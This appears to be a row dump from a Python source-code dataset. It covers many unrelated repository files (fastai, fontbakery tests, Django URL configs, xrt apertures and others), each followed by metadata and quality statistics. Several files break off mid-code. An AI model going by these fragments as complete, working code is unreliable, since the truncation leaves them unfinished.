i... | 24.995434 | 75 | 0.582024 | 623 | 5,474 | 4.791332 | 0.245586 | 0.063652 | 0.022111 | 0.028141 | 0.262312 | 0.243551 | 0.195645 | 0.137353 | 0.137353 | 0.058961 | 0 | 0.002151 | 0.320607 | 5,474 | 218 | 76 | 25.110092 | 0.800484 | 0.055901 | 0 | 0.383117 | 0 | 0 | 0.032628 | 0 | 0 | 0 | 0 | 0 | 0.019481 | 1 | 0.194805 | false | 0.019481 | 0.149351 | 0.019481 | 0.532468 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 |
4360b7034150b306e7c31551e60070c0c89f4e18 | 2,467 | py | Python | fastai2/tabular/model.py | rbracco/fastai2 | 2f72da76d37ad4fd831ba48ea9fb2b3be4ec1723 | [
"Apache-2.0"
] | null | null | null | fastai2/tabular/model.py | rbracco/fastai2 | 2f72da76d37ad4fd831ba48ea9fb2b3be4ec1723 | [
"Apache-2.0"
] | null | null | null | fastai2/tabular/model.py | rbracco/fastai2 | 2f72da76d37ad4fd831ba48ea9fb2b3be4ec1723 | [
"Apache-2.0"
] | null | null | null | #AUTOGENERATED! DO NOT EDIT! File to edit: dev/41_tabular.model.ipynb (unless otherwise specified).
__all__ = ['emb_sz_rule', 'get_emb_sz', 'TabularModel', 'tabular_config']
#Cell
from ..torch_basics import *
from .core import *
#Cell
def emb_sz_rule(n_cat):
"Rule of thumb to pick embedding size corresponding to... | 40.442623 | 120 | 0.638833 | 419 | 2,467 | 3.539379 | 0.288783 | 0.032367 | 0.033715 | 0.013486 | 0.047202 | 0.032367 | 0.032367 | 0.032367 | 0 | 0 | 0 | 0.013055 | 0.223754 | 2,467 | 61 | 121 | 40.442623 | 0.761358 | 0.187272 | 0 | 0 | 1 | 0 | 0.158348 | 0.009036 | 0 | 0 | 0 | 0 | 0 | 1 | 0.130435 | false | 0 | 0.043478 | 0 | 0.304348 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
4360dd67b757f0d6cbfcd751364e9d0600803b0c | 6,487 | py | Python | tests/test_internal_functions.py | shrishabh/pyrex | 80798ec2c4fd2e27f40843e37013765ee6a4e551 | [
"MIT"
] | null | null | null | tests/test_internal_functions.py | shrishabh/pyrex | 80798ec2c4fd2e27f40843e37013765ee6a4e551 | [
"MIT"
] | null | null | null | tests/test_internal_functions.py | shrishabh/pyrex | 80798ec2c4fd2e27f40843e37013765ee6a4e551 | [
"MIT"
] | null | null | null | """File containing tests of pyrex internal_functions module"""
import pytest
from config import SEED
from pyrex.internal_functions import (normalize, flatten, mirror_func,
lazy_property, LazyMutableClass)
import types
import numpy as np
class Test_normalize:
"""Tests for... | 31.338164 | 80 | 0.580546 | 909 | 6,487 | 4.025303 | 0.20022 | 0.013118 | 0.017218 | 0.018584 | 0.358568 | 0.295709 | 0.277945 | 0.203334 | 0.181197 | 0.171632 | 0 | 0.044915 | 0.286111 | 6,487 | 206 | 81 | 31.490291 | 0.745195 | 0.222753 | 0 | 0.263566 | 0 | 0 | 0.00494 | 0 | 0 | 0 | 0 | 0.004854 | 0.263566 | 1 | 0.217054 | false | 0 | 0.03876 | 0.031008 | 0.364341 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
4361bd2bda80d8167ad113943e9d483b46f2e062 | 4,083 | py | Python | src/model/test_hurdlemodel.py | SensorDX/rainqc | d957705e0f1e2e05b3bf23c5b6fd77a135ac69cd | [
"Apache-2.0"
] | 1 | 2022-02-16T01:24:17.000Z | 2022-02-16T01:24:17.000Z | src/model/test_hurdlemodel.py | SensorDX/rainqc | d957705e0f1e2e05b3bf23c5b6fd77a135ac69cd | [
"Apache-2.0"
] | null | null | null | src/model/test_hurdlemodel.py | SensorDX/rainqc | d957705e0f1e2e05b3bf23c5b6fd77a135ac69cd | [
"Apache-2.0"
] | null | null | null |
from hurdle_regression import MixLinearModel
import pandas as pd
from src.common import roc_metric
import matplotlib.pylab as plt
import numpy as np
from sklearn.linear_model import Ridge
# input data
df = pd.read_csv('../experiments/dataset/tahmostation2016.csv')
x, y = df.ix[:, 2:].as_matrix(), df.ix[:,1:2].as_mat... | 32.664 | 110 | 0.71663 | 690 | 4,083 | 4.082609 | 0.262319 | 0.031949 | 0.024849 | 0.009585 | 0.242102 | 0.132055 | 0.111466 | 0.111466 | 0.056798 | 0.036209 | 0 | 0.02031 | 0.131766 | 4,083 | 125 | 111 | 32.664 | 0.77433 | 0.325986 | 0 | 0.060606 | 0 | 0 | 0.101668 | 0.034154 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.090909 | null | null | 0.19697 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
4369f6e4691cc2504a6742a4515f6118c4b6e7a8 | 2,188 | py | Python | foyer/tests/test_graph.py | andresordorica/foyer | b8442f55ab1a936dbd1b2ba9ba58677c2c30fb93 | [
"MIT"
] | null | null | null | foyer/tests/test_graph.py | andresordorica/foyer | b8442f55ab1a936dbd1b2ba9ba58677c2c30fb93 | [
"MIT"
] | null | null | null | foyer/tests/test_graph.py | andresordorica/foyer | b8442f55ab1a936dbd1b2ba9ba58677c2c30fb93 | [
"MIT"
] | null | null | null | import parmed as pmd
from foyer.forcefield import generate_topology
from foyer.smarts_graph import SMARTSGraph, _prepare_atoms
from foyer.tests.utils import get_fn
TEST_BANK = [
'O([H&X1])(H)',
'[O;X2]([C;X4](F)(*)(*))[C;X4]',
'[#6][#1](C)H',
'[#6][#6][#6][#6][#6][#6]',
'[#6]1[#6][#6][#6][#6][#6]... | 35.868852 | 74 | 0.578611 | 295 | 2,188 | 4.172881 | 0.294915 | 0.029245 | 0.031682 | 0.029245 | 0.520715 | 0.361495 | 0.322502 | 0.320065 | 0.320065 | 0.185215 | 0 | 0.025455 | 0.245887 | 2,188 | 60 | 75 | 36.466667 | 0.720606 | 0.093693 | 0 | 0.181818 | 1 | 0.022727 | 0.130633 | 0.062278 | 0 | 0 | 0 | 0 | 0.090909 | 1 | 0.068182 | false | 0 | 0.090909 | 0 | 0.159091 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
436c234075aee0d526c14160cda18ee40803ceca | 650 | py | Python | Event/migrations/0002_initial.py | nishanthjoelmj/Project-Class-Room | 624cabaf27e296f0f57f90918a5218d896053cd8 | [
"MIT"
] | null | null | null | Event/migrations/0002_initial.py | nishanthjoelmj/Project-Class-Room | 624cabaf27e296f0f57f90918a5218d896053cd8 | [
"MIT"
] | null | null | null | Event/migrations/0002_initial.py | nishanthjoelmj/Project-Class-Room | 624cabaf27e296f0f57f90918a5218d896053cd8 | [
"MIT"
] | null | null | null | # Generated by Django 3.2.1 on 2021-05-28 11:46
from django.db import migrations, models
import django.db.models.deletion
class Migration(migrations.Migration):
initial = True
dependencies = [
('Teacher', '0001_initial'),
('Event', '0001_initial'),
]
operations = [
migratio... | 24.074074 | 112 | 0.598462 | 65 | 650 | 5.907692 | 0.630769 | 0.0625 | 0.072917 | 0.114583 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.048626 | 0.272308 | 650 | 26 | 113 | 25 | 0.763214 | 0.069231 | 0 | 0.105263 | 1 | 0 | 0.144279 | 0.039801 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.105263 | 0 | 0.315789 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
4373fcb17e78dc5d71f22658f4ced7184c5efffc | 321 | py | Python | backend/favorite_things/urls.py | andela-Taiwo/favorite-things | a4801d47fcd40877115104162457eb8c3ffec93c | [
"MIT"
] | null | null | null | backend/favorite_things/urls.py | andela-Taiwo/favorite-things | a4801d47fcd40877115104162457eb8c3ffec93c | [
"MIT"
] | 13 | 2020-06-05T22:33:13.000Z | 2022-02-26T16:43:38.000Z | backend/favorite_things/urls.py | andela-Taiwo/favorite-things | a4801d47fcd40877115104162457eb8c3ffec93c | [
"MIT"
] | null | null | null | from django.conf.urls import include, url
from django.urls import path, re_path
from rest_framework.routers import DefaultRouter
from .views import (
FavoriteViewSet
)
router = DefaultRouter()
router.register(r'favorite', FavoriteViewSet, base_name='apiv1_favorite')
urlpatterns = []
urlpatterns += router.urls... | 24.692308 | 73 | 0.781931 | 39 | 321 | 6.333333 | 0.589744 | 0.080972 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.003584 | 0.130841 | 321 | 12 | 74 | 26.75 | 0.88172 | 0 | 0 | 0 | 0 | 0 | 0.068536 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.4 | 0 | 0.4 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 |
437641340977222dd0cbf6a330b4192ed6e87b2c | 859 | py | Python | ezread/__version__.py | csurfer/ezread | c9ff356f4550bbdc8a0eb875488b25b80ee9dce4 | [
"MIT"
] | 3 | 2020-03-24T16:17:00.000Z | 2020-03-31T18:22:03.000Z | ezread/__version__.py | csurfer/ezread | c9ff356f4550bbdc8a0eb875488b25b80ee9dce4 | [
"MIT"
] | null | null | null | ezread/__version__.py | csurfer/ezread | c9ff356f4550bbdc8a0eb875488b25b80ee9dce4 | [
"MIT"
] | null | null | null | # /$$
# | $$
# /$$$$$$ /$$$$$$$$ /$$$$$$ /$$$$$$ /$$$$$$ /$$$$$$$
# /$$__ $$|____ /$$/ /$$__ $$ /$$__ $$ |____ $$ /$$__ $$
# | $$$$$$$$ /$$$$/ | $$ \__/| $$$$$$$$ /$$$$$$$| $$ | $$
... | 42.95 | 84 | 0.384168 | 44 | 859 | 5.159091 | 0.772727 | 0.070485 | 0.123348 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.015517 | 0.324796 | 859 | 19 | 85 | 45.210526 | 0.375862 | 0.508731 | 0 | 0 | 0 | 0 | 0.557746 | 0.073239 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
43878bfd8c454a251c4b668ae43fed9c0e1be574 | 658 | py | Python | ictdeploy/base_config.py | IntegrCiTy/ictdeploy | 32b25ae87a489cc04b4c3c2c980e892430c5dd28 | [
"Apache-2.0"
] | null | null | null | ictdeploy/base_config.py | IntegrCiTy/ictdeploy | 32b25ae87a489cc04b4c3c2c980e892430c5dd28 | [
"Apache-2.0"
] | null | null | null | ictdeploy/base_config.py | IntegrCiTy/ictdeploy | 32b25ae87a489cc04b4c3c2c980e892430c5dd28 | [
"Apache-2.0"
] | null | null | null | """
This file define basic configuration for RabbitMQ and Protobuf communication
for the simulation nodes and the orchestrator nodes.
"""
base_config = {
"name": "",
"queues": {
"obnl.simulation.node.": "on_simulation",
"obnl.local.node.": "on_local",
"obnl.data.node.": "on_data",
}... | 27.416667 | 81 | 0.595745 | 68 | 658 | 5.676471 | 0.382353 | 0.181347 | 0.233161 | 0.124352 | 0.186529 | 0.186529 | 0 | 0 | 0 | 0 | 0 | 0 | 0.199088 | 658 | 23 | 82 | 28.608696 | 0.732448 | 0.196049 | 0 | 0 | 0 | 0 | 0.548944 | 0.21881 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
438b06158ad6f6bfedc2eb09c1bd6df8a219e739 | 43,623 | py | Python | tests/profiles/universal_test.py | paullinnerud/fontbakery | 666b3425b14f6c59a43cddf30279ca2fdc6e714e | [
"Apache-2.0"
] | null | null | null | tests/profiles/universal_test.py | paullinnerud/fontbakery | 666b3425b14f6c59a43cddf30279ca2fdc6e714e | [
"Apache-2.0"
] | null | null | null | tests/profiles/universal_test.py | paullinnerud/fontbakery | 666b3425b14f6c59a43cddf30279ca2fdc6e714e | [
"Apache-2.0"
] | null | null | null | import io
from unittest.mock import patch, MagicMock
from fontTools.ttLib import TTFont
import pytest
from requests.exceptions import ConnectionError
from fontbakery.checkrunner import INFO, WARN, FAIL, PASS, SKIP
from fontbakery.codetesting import (assert_PASS,
assert_SKIP,
... | 38.400528 | 104 | 0.64333 | 5,412 | 43,623 | 5.049335 | 0.13544 | 0.029861 | 0.04684 | 0.057635 | 0.561716 | 0.476964 | 0.427782 | 0.390127 | 0.302155 | 0.25279 | 0 | 0.013695 | 0.246773 | 43,623 | 1,135 | 105 | 38.434361 | 0.817974 | 0.200743 | 0 | 0.347705 | 0 | 0 | 0.275051 | 0.136207 | 0 | 0 | 0.003826 | 0.001762 | 0.222531 | 1 | 0.059805 | false | 0.062587 | 0.025035 | 0.005563 | 0.093185 | 0.011127 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 |
4391334e3d701a25abd56e67f6290a8218816740 | 16,959 | py | Python | s3vtdatamgt_.py | s3activefiresaustralia/s3vtdata | 5cbda8697aafc16a5ccc5ded446343f4c736438a | [
"Apache-2.0"
] | 1 | 2020-09-03T07:55:30.000Z | 2020-09-03T07:55:30.000Z | s3vtdatamgt_.py | s3activefiresaustralia/s3vtdata | 5cbda8697aafc16a5ccc5ded446343f4c736438a | [
"Apache-2.0"
] | 3 | 2020-03-17T02:40:18.000Z | 2020-11-02T07:29:04.000Z | s3vtdatamgt_.py | s3activefiresaustralia/s3vtdata | 5cbda8697aafc16a5ccc5ded446343f4c736438a | [
"Apache-2.0"
] | 1 | 2020-05-15T03:42:50.000Z | 2020-05-15T03:42:50.000Z | # -*- coding: utf-8 -*-
##################
# Sentinel 3 Validation Team project
# Sentinel 3 Active Fires from Fire Radiative Power
#
# Get S3 data to EC2
# Extract hotspots and extract hotspots
# Extract hotspots and push multiple formats to accompany data files
# Copy data to AWS S3
# Push summary of download invent... | 47.108333 | 487 | 0.56896 | 1,866 | 16,959 | 5.07074 | 0.238478 | 0.019023 | 0.018601 | 0.021983 | 0.397802 | 0.33122 | 0.291587 | 0.289474 | 0.273409 | 0.258508 | 0 | 0.033693 | 0.289463 | 16,959 | 359 | 488 | 47.239554 | 0.751535 | 0.1437 | 0 | 0.15625 | 0 | 0.008929 | 0.255559 | 0.045474 | 0 | 0 | 0 | 0.002786 | 0 | 1 | 0.026786 | false | 0.066964 | 0.066964 | 0 | 0.098214 | 0.022321 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 |
4391b1a55fdb2ec17ccc8585487ae7cf40e530d8 | 15,297 | py | Python | gen/pb_python/flyteidl/service/flyteadmin/flyteadmin/models/event_task_execution_event.py | EngHabu/flyteidl | d7970314fc2bcbd2840610b4d42ea2886f0837b9 | [
"Apache-2.0"
] | null | null | null | gen/pb_python/flyteidl/service/flyteadmin/flyteadmin/models/event_task_execution_event.py | EngHabu/flyteidl | d7970314fc2bcbd2840610b4d42ea2886f0837b9 | [
"Apache-2.0"
] | null | null | null | gen/pb_python/flyteidl/service/flyteadmin/flyteadmin/models/event_task_execution_event.py | EngHabu/flyteidl | d7970314fc2bcbd2840610b4d42ea2886f0837b9 | [
"Apache-2.0"
] | null | null | null | # coding: utf-8
"""
flyteidl/service/admin.proto
No description provided (generated by Swagger Codegen https://github.com/swagger-api/swagger-codegen) # noqa: E501
OpenAPI spec version: version not set
Generated by: https://github.com/swagger-api/swagger-codegen.git
"""
import pprint
import r... | 33.993333 | 305 | 0.647316 | 1,795 | 15,297 | 5.34039 | 0.117549 | 0.046735 | 0.157313 | 0.134258 | 0.591488 | 0.506363 | 0.450031 | 0.373253 | 0.247444 | 0.196641 | 0 | 0.019917 | 0.274629 | 15,297 | 449 | 306 | 34.069042 | 0.843998 | 0.451919 | 0 | 0.07772 | 1 | 0 | 0.080476 | 0.020574 | 0 | 0 | 0 | 0 | 0 | 1 | 0.165803 | false | 0 | 0.051813 | 0 | 0.331606 | 0.010363 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
4393ad5283ad414934035ae9f63fc6e3d9bc4c17 | 3,481 | py | Python | learning/examples/readme_example.py | JustinLovinger/learning | 895b5d91509f1bf3da64f804dc346aecbfec853c | [
"MIT"
] | 6 | 2017-09-15T20:54:14.000Z | 2021-05-07T21:32:43.000Z | learning/examples/readme_example.py | JustinLovinger/learning | 895b5d91509f1bf3da64f804dc346aecbfec853c | [
"MIT"
] | null | null | null | learning/examples/readme_example.py | JustinLovinger/learning | 895b5d91509f1bf3da64f804dc346aecbfec853c | [
"MIT"
] | 5 | 2017-09-20T17:39:41.000Z | 2020-05-03T23:24:43.000Z | ###############################################################################
# The MIT License (MIT)
#
# Copyright (c) 2017 Justin Lovinger
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Softwar... | 46.413333 | 84 | 0.722781 | 500 | 3,481 | 5 | 0.468 | 0.0352 | 0.0288 | 0.0252 | 0.0192 | 0 | 0 | 0 | 0 | 0 | 0 | 0.006683 | 0.183281 | 3,481 | 74 | 85 | 47.040541 | 0.87267 | 0.724217 | 0 | 0 | 0 | 0 | 0.022606 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.25 | null | null | 0.0625 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
439493bf8ee571558f1abf3a26065e8acc740309 | 1,430 | py | Python | ComponentStock/urls.py | daubers/ComponentStock | 623d256fe66c3b1e407e01c7284ed7ca5868600d | [
"MIT"
] | 1 | 2015-05-16T10:44:42.000Z | 2015-05-16T10:44:42.000Z | ComponentStock/urls.py | daubers/ComponentStock | 623d256fe66c3b1e407e01c7284ed7ca5868600d | [
"MIT"
] | null | null | null | ComponentStock/urls.py | daubers/ComponentStock | 623d256fe66c3b1e407e01c7284ed7ca5868600d | [
"MIT"
] | null | null | null | from django.conf.urls import patterns, include, url
# Uncomment the next two lines to enable the admin:
from django.contrib import admin
admin.autodiscover()
urlpatterns = patterns('',
# Examples:
# url(r'^$', 'ComponentStock.views.home', name='home'),
# url(r'^ComponentStock/', include('ComponentStock.fo... | 46.129032 | 87 | 0.696503 | 175 | 1,430 | 5.691429 | 0.342857 | 0.068273 | 0.052209 | 0.066265 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.002375 | 0.116783 | 1,430 | 30 | 88 | 47.666667 | 0.786223 | 0.2 | 0 | 0 | 0 | 0 | 0.59015 | 0.403694 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.1 | 0 | 0.1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
43957d3b6c274cbcc34a5ecfab68027637fe2d5a | 2,180 | py | Python | docs/refer_project/wx_with_web/wenpl/getdata.py | xiaotianyi/INTELLI-City | ef6777b66350b3a3f6aac9c0441d67990ff23cd6 | [
"MIT"
] | null | null | null | docs/refer_project/wx_with_web/wenpl/getdata.py | xiaotianyi/INTELLI-City | ef6777b66350b3a3f6aac9c0441d67990ff23cd6 | [
"MIT"
] | null | null | null | docs/refer_project/wx_with_web/wenpl/getdata.py | xiaotianyi/INTELLI-City | ef6777b66350b3a3f6aac9c0441d67990ff23cd6 | [
"MIT"
] | null | null | null | # encoding=utf-8
'''
获取词库和对照库
'''
import jieba.posseg as pseg
import jieba
import sys
import urllib2
import json
import re
import copy
import datetime
import time
import calendar
reload(sys)
sys.setdefaultencoding('utf-8')
url1="/root/INTELLI-City/docs/refer_project/wx/wendata/dict/"
time="time.json"
stores="store.js... | 18.016529 | 61 | 0.577523 | 294 | 2,180 | 4.278912 | 0.292517 | 0.038951 | 0.052464 | 0.057234 | 0.301272 | 0.301272 | 0.301272 | 0.301272 | 0.301272 | 0.301272 | 0 | 0.015238 | 0.277523 | 2,180 | 121 | 62 | 18.016529 | 0.783492 | 0.069266 | 0 | 0.377778 | 0 | 0 | 0.077844 | 0.026946 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.111111 | null | null | 0.011111 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
4395a176ee9442ff6159580ae1fba4501ee461cc | 34,094 | py | Python | xrt/backends/raycing/apertures.py | adinatan/xrt | 75b884c0cba7e1aac15b30f2d0d803597328a208 | [
"MIT"
] | null | null | null | xrt/backends/raycing/apertures.py | adinatan/xrt | 75b884c0cba7e1aac15b30f2d0d803597328a208 | [
"MIT"
] | null | null | null | xrt/backends/raycing/apertures.py | adinatan/xrt | 75b884c0cba7e1aac15b30f2d0d803597328a208 | [
"MIT"
] | null | null | null | # -*- coding: utf-8 -*-
"""
Apertures
---------
Module :mod:`apertures` defines rectangular and round apertures and a set of
coplanar rectangular apertures. Rectangular apertures may have one or more
defining edges. For example, a simple obstacle, like a beam stop block would
have one edge, a block of front-end slits ... | 38.524294 | 79 | 0.558896 | 4,235 | 34,094 | 4.449587 | 0.109091 | 0.016557 | 0.011463 | 0.008756 | 0.69741 | 0.66679 | 0.645617 | 0.627786 | 0.627786 | 0.617066 | 0 | 0.013869 | 0.31903 | 34,094 | 884 | 80 | 38.567873 | 0.797777 | 0.229395 | 0 | 0.62069 | 0 | 0 | 0.019721 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.046552 | false | 0 | 0.02069 | 0 | 0.110345 | 0.010345 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
4395e985a73ed0a994dc005b1e680eb82f244c1e | 522 | py | Python | sleekxmpp/plugins/__init__.py | calendar42/SleekXMPP--XEP-0080- | d7bd5fd29f26a5d7de872a49ff63a353b8043e49 | [
"BSD-3-Clause"
] | null | null | null | sleekxmpp/plugins/__init__.py | calendar42/SleekXMPP--XEP-0080- | d7bd5fd29f26a5d7de872a49ff63a353b8043e49 | [
"BSD-3-Clause"
] | null | null | null | sleekxmpp/plugins/__init__.py | calendar42/SleekXMPP--XEP-0080- | d7bd5fd29f26a5d7de872a49ff63a353b8043e49 | [
"BSD-3-Clause"
] | null | null | null | """
SleekXMPP: The Sleek XMPP Library
Copyright (C) 2010 Nathanael C. Fritz
This file is part of SleekXMPP.
See the file LICENSE for copying permission.
"""
__all__ = ['xep_0004', 'xep_0009', 'xep_0012', 'xep_0030', 'xep_0033',
'xep_0045', 'xep_0050', 'xep_0060', 'xep_0066', 'xep_0082',
... | 34.8 | 70 | 0.626437 | 73 | 522 | 4.123288 | 0.671233 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.216749 | 0.222222 | 522 | 14 | 71 | 37.285714 | 0.524631 | 0.35249 | 0 | 0 | 0 | 0 | 0.547771 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
43992f5059cd00b864ec14efdc20544a46738a3a | 499 | py | Python | simple_test/test_cookie.py | jay900323/pyspider | a6f4d1c18a18b8ca4a00f4388726e0583dd5cda7 | [
"Apache-2.0"
] | null | null | null | simple_test/test_cookie.py | jay900323/pyspider | a6f4d1c18a18b8ca4a00f4388726e0583dd5cda7 | [
"Apache-2.0"
] | null | null | null | simple_test/test_cookie.py | jay900323/pyspider | a6f4d1c18a18b8ca4a00f4388726e0583dd5cda7 | [
"Apache-2.0"
] | null | null | null | #coding=utf-8
import urllib2
import cookielib
COOKIES_DOMAIN = "baidu.com"
#声明一个CookieJar对象实例来保存cookie
cookie = cookielib.CookieJar()
#利用urllib2库的HTTPCookieProcessor对象来创建cookie处理器
handler=urllib2.HTTPCookieProcessor(cookie)
#通过handler来构建opener
opener = urllib2.build_opener(handler)
#此处的open方法同urllib2的urlopen方法,也可以传入req... | 24.95 | 46 | 0.803607 | 53 | 499 | 7.509434 | 0.622642 | 0.065327 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.013423 | 0.104208 | 499 | 19 | 47 | 26.263158 | 0.876957 | 0.280561 | 0 | 0 | 0 | 0 | 0.082153 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.166667 | null | null | 0.083333 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
439b856b491e6085adc4d6c5ce104a0fb47b8c21 | 7,561 | py | Python | ctparse/corpus.py | bharathi-srini/ctparse | f3b7ef1045fbbc566dc838c66d4a47de160cb38f | [
"MIT"
] | null | null | null | ctparse/corpus.py | bharathi-srini/ctparse | f3b7ef1045fbbc566dc838c66d4a47de160cb38f | [
"MIT"
] | null | null | null | ctparse/corpus.py | bharathi-srini/ctparse | f3b7ef1045fbbc566dc838c66d4a47de160cb38f | [
"MIT"
] | null | null | null | import json
import logging
from datetime import datetime
from typing import Iterator, List, NamedTuple, Sequence, Tuple, Union
from tqdm import tqdm
from .ctparse import ctparse_gen
from .scorer import DummyScorer, Scorer
from .types import Interval, Time
logger = logging.getLogger(__name__)
